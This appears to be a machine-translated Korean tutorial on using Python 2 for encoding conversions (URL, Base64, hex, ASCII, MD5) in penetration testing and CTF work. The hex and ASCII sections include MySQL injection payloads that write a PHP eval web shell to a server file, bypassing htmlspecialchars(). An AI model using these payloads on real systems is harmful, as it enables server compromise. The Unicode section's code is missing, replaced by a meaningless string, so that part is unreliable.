>  기사  >  백엔드 개발  >  Python의 인코딩 변환 예에 대한 자세한 설명

Python의 인코딩 변환 예에 대한 자세한 설명

Y2J
Y2J원래의
2017-05-03 15:52:491516검색

일상 침투, 취약점 마이닝, 심지어 CTF 대회에서도 다양한 인코딩을 접하게 되며 종종 이러한 인코딩 간의 다양한 변환이 수반됩니다. 다음 글은 파이썬에서 인코딩 변환의 훌륭한 활용에 대한 관련 정보를 주로 소개합니다. 필요한 친구들은 함께 참고해 보세요.

서문

처음 시작할 때 인코딩 변환 문제가 종종 "바이두: url 디코딩, base64 암호화, hex ... "또는 "Xiaokui Multi-Function Conversion Tool"이라는 소프트웨어를 사용한 다음 Burpsuite의 디코더 기능을 직접 사용하는 것이 꽤 좋습니다. 그러나 우리는 또한 낮은 온라인 변환 효율성(검색 시간의 2/3를 차지함)과 두 도구에 몇 가지 사소한 문제가 있다는 문제도 직면했습니다.



파이썬을 일상적인 인코딩 변환 도구로 사용하기 전까지...

py 변환 여정 시작

url 인코딩

url 인코딩은 사용되는 패키징 유형입니다. 브라우저별 폼 입력 형식은 웹 종사자에게 가장 친숙한 코딩 방식이라고 할 수 있습니다.

>>> from urllib import *
>>> quote("union select null,null,null")
'union%20select%20null%2Cnull%2Cnull'
>>> unquote("union%20select%20null%2Cnull%2Cnull")
'union select null,null,null'
>>> urlencode({'x':'2333','y':'666'})
'y=666&x=2333'

Base64

Base64는 웹 양식 및 HTTP 전송의 일부 매개변수로 자주 사용되며, 이메일 프로토콜에서도 사용자 정보를 전송하는 데 흔히 사용됩니다. 등.

>>> import base64
>>> base64.b64encode("admin")
'YWRtaW4='
>>> base64.b64decode('YWRtaW4=')
'admin'

CTF 대회에서 Base32 복호화 테스트를 받았던 기억이 나네요. 대부분의 웹사이트에서는 온라인 복호화 기능을 제공하지 않았고, 계속할 방법이 없는 것 같았습니다. 하지만 Python을 사용하면 위의 base64를 해독하는 것만큼 간단합니다.

>>> import base64
>>> base64.b32encode('jjjjj')
'NJVGU2TK'
>>> base64.b32decode('NJVGU2TK')
'jjjjj'

Hex

16진수 인코딩은 다음과 같습니다. 또한 웹 애플리케이션의 일반적인 코딩 방식입니다. 웹 보안 담당자로서 우리는 MySQL 주입이 16진수를 사용하여 htmlspecialchars() 기능을 우회하고 웹셸에 쓸 수 있다는 것을 잘 알고 있습니다.

예:

select 0x3c3f70687020406576616c28245f504f53545b615d293b203f3e into outfile '/web/1.php'

다음은 Python이 16진수 암호화 및 복호화를 구현하는 방법입니다.

>>> &#39;<?php @eval($_POST[a]); ?>&#39;.encode(&#39;hex&#39;)
&#39;3c3f70687020406576616c28245f504f53545b615d293b203f3e&#39;
>>>
>>> print &#39;3c3f70687020406576616c28245f504f53545b615d293b203f3e&#39;.decode(&#39;hex&#39;)
<?php @eval($_POST[a]); ?>
>>>

ASCii

MySQL의 char() 함수는 ASCII 코드를 변환하므로 이 기능을 사용하여 htmlspecialchars() 함수를 우회할 수도 있습니다.

예:

select char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) into outfile &#39;/web/1.php&#39;

파이썬을 사용하여 문자열을 ASCII로 변환하는 것은 매우 간단하지만 역변환에는 약간의 작업이 필요합니다.

>>> map(ord, "<?php phpinfo() ?>")
[60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]

>>> print chr(112)
p

>>> l = [60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62]
>>> print &#39;&#39;.join(map(chr,l)) #感谢pcat表哥指出的方法
<?php phpinfo() ?>

Md5

md5는 되돌릴 수 없기 때문에 대부분의 웹사이트에서 사용자 비밀번호와 같은 주요 데이터를 저장할 때 md5를 사용하는 경우가 많습니다. 암호화. 때때로 페이로드를 제출하기 위해 md5 암호화가 필요할 수 있습니다. 이 경우 다음 방법을 사용하여 쉽게 달성할 수 있습니다. 물론, 복호화에는 cmd5를 사용하는 것이 좋습니다.

>>> from hashlib import md5
>>> m = md5()
>>> m.update(&#39;this is a secret&#39;)
>>> m.hexdigest()
&#39;7dbbcee180ba4d456e4aa1cfbdad9c7b&#39;

>>> m.hexdigest()[8:-8]
&#39;80ba4d456e4aa1cf&#39;
>>>

유니코드를 중국어로

유니코드를 중국어로 변환하는 경우는 여러 상황에서 발생할 수 있습니다. 특히 침투 테스트를 할 때는 더욱 그렇습니다. Burp를 사용하면 한자가 깨져 나오는 문제가 발생합니다. Python에서는 구현이 매우 간단합니다.

아아아앙

요약

위 내용은 Python의 인코딩 변환 예에 대한 자세한 설명의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.